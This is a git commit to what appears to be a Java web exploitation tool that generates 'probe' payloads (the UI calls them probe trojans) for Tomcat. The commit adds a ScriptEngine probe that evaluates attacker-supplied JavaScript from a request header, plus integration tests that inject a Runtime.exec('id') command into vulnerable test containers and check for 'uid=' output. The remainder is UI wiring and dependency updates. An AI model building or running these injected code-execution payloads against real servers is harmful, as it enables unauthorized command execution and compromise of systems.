feat: support script engine probe

This commit is contained in:
ReaJason
2025-11-20 00:36:25 +08:00
parent fb5b39a4c6
commit cdb90b6cb1
16 changed files with 146 additions and 13 deletions
@@ -10,5 +10,6 @@ public enum ProbeContent {
JDK,
Bytecode,
Command,
BasicInfo
BasicInfo,
ScriptEngine
}
@@ -9,6 +9,7 @@ import com.reajason.javaweb.probe.config.ResponseBodyConfig;
import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
import com.reajason.javaweb.probe.payload.ByteCodeProbe;
import com.reajason.javaweb.probe.payload.CommandProbe;
import com.reajason.javaweb.probe.payload.ScriptEngineProbe;
import com.reajason.javaweb.probe.payload.response.*;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.ByteBuddy;
@@ -51,6 +52,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
return CommandProbe.class;
case Bytecode:
return ByteCodeProbe.class;
case ScriptEngine:
return ScriptEngineProbe.class;
default:
throw new GenerationException("responseBody not supported for probe content: " + probeConfig.getProbeContent());
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.probe.payload;
import lombok.SneakyThrows;
import net.bytebuddy.asm.Advice;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
/**
* @author ReaJason
* @since 2025/11/18
*/
public class ScriptEngineProbe {
private final String script;
public ScriptEngineProbe(String script) {
this.script = script;
}
@Advice.OnMethodExit
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception {
ScriptEngine js = new ScriptEngineManager().getEngineByName("js");
if (js == null) {
return ret = "js engine is null";
}
return ret = js.eval(data).toString();
}
@Override
@SneakyThrows
public String toString() {
return ScriptEngineProbe.exit(script, super.toString());
}
}
@@ -0,0 +1,18 @@
package com.reajason.javaweb.probe.payload;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
/**
* @author ReaJason
* @since 2025/11/18
*/
class ScriptEngineProbeTest {
@Test
void test(){
String hello = new ScriptEngineProbe("1 + 1").toString();
assertEquals("2", hello);
}
}
@@ -110,4 +110,36 @@ public class ProbeAssertion {
));
}
}
@SneakyThrows
public static void responseScriptEngineIsOk(String url, String server, int targetJreVersion) {
ProbeConfig probeConfig = ProbeConfig.builder()
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.ScriptEngine)
.debug(true)
.shrink(true)
.staticInitialize(true)
.targetJreVersion(targetJreVersion)
.build();
String headerName = "X-Header";
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
.server(server)
.reqParamName(headerName)
.build();
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
String content = probeResult.getShellBytesBase64Str();
RequestBody requestBody = new FormBody.Builder()
.add("data", content)
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()")
.url(url + "/b64").post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
assertThat(response.body().string(), anyOf(
containsString("uid=")
));
}
}
}
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.objectweb.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -63,6 +63,13 @@ public class Tomcat10ContainerTest {
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V11);
}
@Test
@SneakyThrows
void testScriptEngineReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V11);
}
@Test
@SneakyThrows
void testBytecodeReqParamResponseBody() {
@@ -71,6 +71,13 @@ public class Tomcat5ContainerTest {
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
}
@Test
@SneakyThrows
void testScriptEngineReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6);
}
@Test
@SneakyThrows
void testBytecodeReqParamResponseBody() {
@@ -63,6 +63,13 @@ public class Tomcat6ContainerTest {
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
}
@Test
@SneakyThrows
void testScriptEngineReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6);
}
@Test
@SneakyThrows
void testBytecodeReqParamResponseBody() {
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.objectweb.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.junitpioneer.jupiter.RetryingTest;
import org.testcontainers.containers.GenericContainer;
@@ -65,6 +65,13 @@ public class Tomcat7ContainerTest {
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_7);
}
@Test
@SneakyThrows
void testScriptEngineReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_7);
}
@Test
@SneakyThrows
void testBytecodeReqParamResponseBody() {
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.objectweb.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -64,6 +64,13 @@ public class Tomcat8ContainerTest {
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_8);
}
@Test
@SneakyThrows
void testScriptEngineReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_8);
}
@Test
@SneakyThrows
void testBytecodeReqParamResponseBody() {
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.objectweb.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.junitpioneer.jupiter.RetryingTest;
import org.testcontainers.containers.GenericContainer;
@@ -64,6 +64,13 @@ public class Tomcat9ContainerTest {
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V9);
}
@Test
@SneakyThrows
void testScriptEngineReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V9);
}
@Test
@SneakyThrows
void testBytecodeReqParamResponseBody() {
BIN
View File
Binary file not shown.
+3 -3
View File
@@ -17,7 +17,7 @@
"@biomejs/biome": "2.1.4",
"@react-router/dev": "^7.9.6",
"@types/node": "^24.10.1",
"@types/react": "^19.2.5",
"@types/react": "^19.2.6",
"@types/react-copy-to-clipboard": "^5.0.7",
"@types/react-dom": "^19.2.3",
"@types/react-syntax-highlighter": "^15.5.13",
@@ -31,7 +31,7 @@
"dependencies": {
"@hookform/resolvers": "^5.2.2",
"@tailwindcss/vite": "^4.1.17",
"@tanstack/react-query": "^5.90.9",
"@tanstack/react-query": "^5.90.10",
"class-variance-authority": "^0.7.1",
"clsx": "^2.1.1",
"framer-motion": "^12.23.24",
@@ -42,7 +42,7 @@
"react": "^19.2.0",
"react-copy-to-clipboard": "^5.1.0",
"react-dom": "^19.2.0",
"react-hook-form": "^7.66.0",
"react-hook-form": "^7.66.1",
"react-i18next": "^15.7.4",
"react-router": "^7.9.6",
"react-router-dom": "^7.9.6",
@@ -31,6 +31,7 @@ const PROBE_OPTIONS = [
{ value: "JDK" as const, label: "jdk" },
{ value: "Command" as const, label: "command" },
{ value: "Bytecode" as const, label: "bytecode" },
{ value: "ScriptEngine" as const, label: "script" },
] as const;
const MIDDLEWARE_OPTIONS = [
@@ -73,7 +74,7 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
const filteredOptions = useMemo(() => {
const filterMap = {
ResponseBody: ["Command", "Bytecode"],
ResponseBody: ["Command", "Bytecode", "ScriptEngine"],
DNSLog: ["JDK", "Server"],
Sleep: ["Server"],
} as const;
@@ -207,12 +208,12 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
const renderDynamicFields = useCallback(() => {
const isBodyMethod = watchedProbeMethod === "ResponseBody";
const isCommandOrBytecode =
watchedProbeContent === "Command" || watchedProbeContent === "Bytecode";
const needParam =
watchedProbeContent === "Command" || watchedProbeContent === "Bytecode" || watchedProbeContent === "ScriptEngine";
const isSleepMethod = watchedProbeMethod === "Sleep";
const isServerContent = watchedProbeContent === "Server";
if (isBodyMethod && isCommandOrBytecode) {
if (isBodyMethod && needParam) {
return RequestParamField;
}
+1
View File
@@ -3,6 +3,7 @@
"dnslog.host": "DNSLog Host",
"probeContent": "ProbeContent",
"probeContent.bytecode": "Bytecode",
"probeContent.script": "ScriptEngine",
"probeContent.command": "Command",
"probeContent.jdk": "JDK",
"probeContent.server": "Server",
+2 -1
View File
@@ -2,7 +2,8 @@
"buttons.generate": "生成探测马",
"dnslog.host": "DNSLog 地址",
"probeContent": "探测内容",
"probeContent.bytecode": "自定义字节码执行",
"probeContent.bytecode": "字节码执行",
"probeContent.script": "脚本引擎执行",
"probeContent.command": "命令执行",
"probeContent.jdk": "JDK 信息",
"probeContent.server": "服务类型",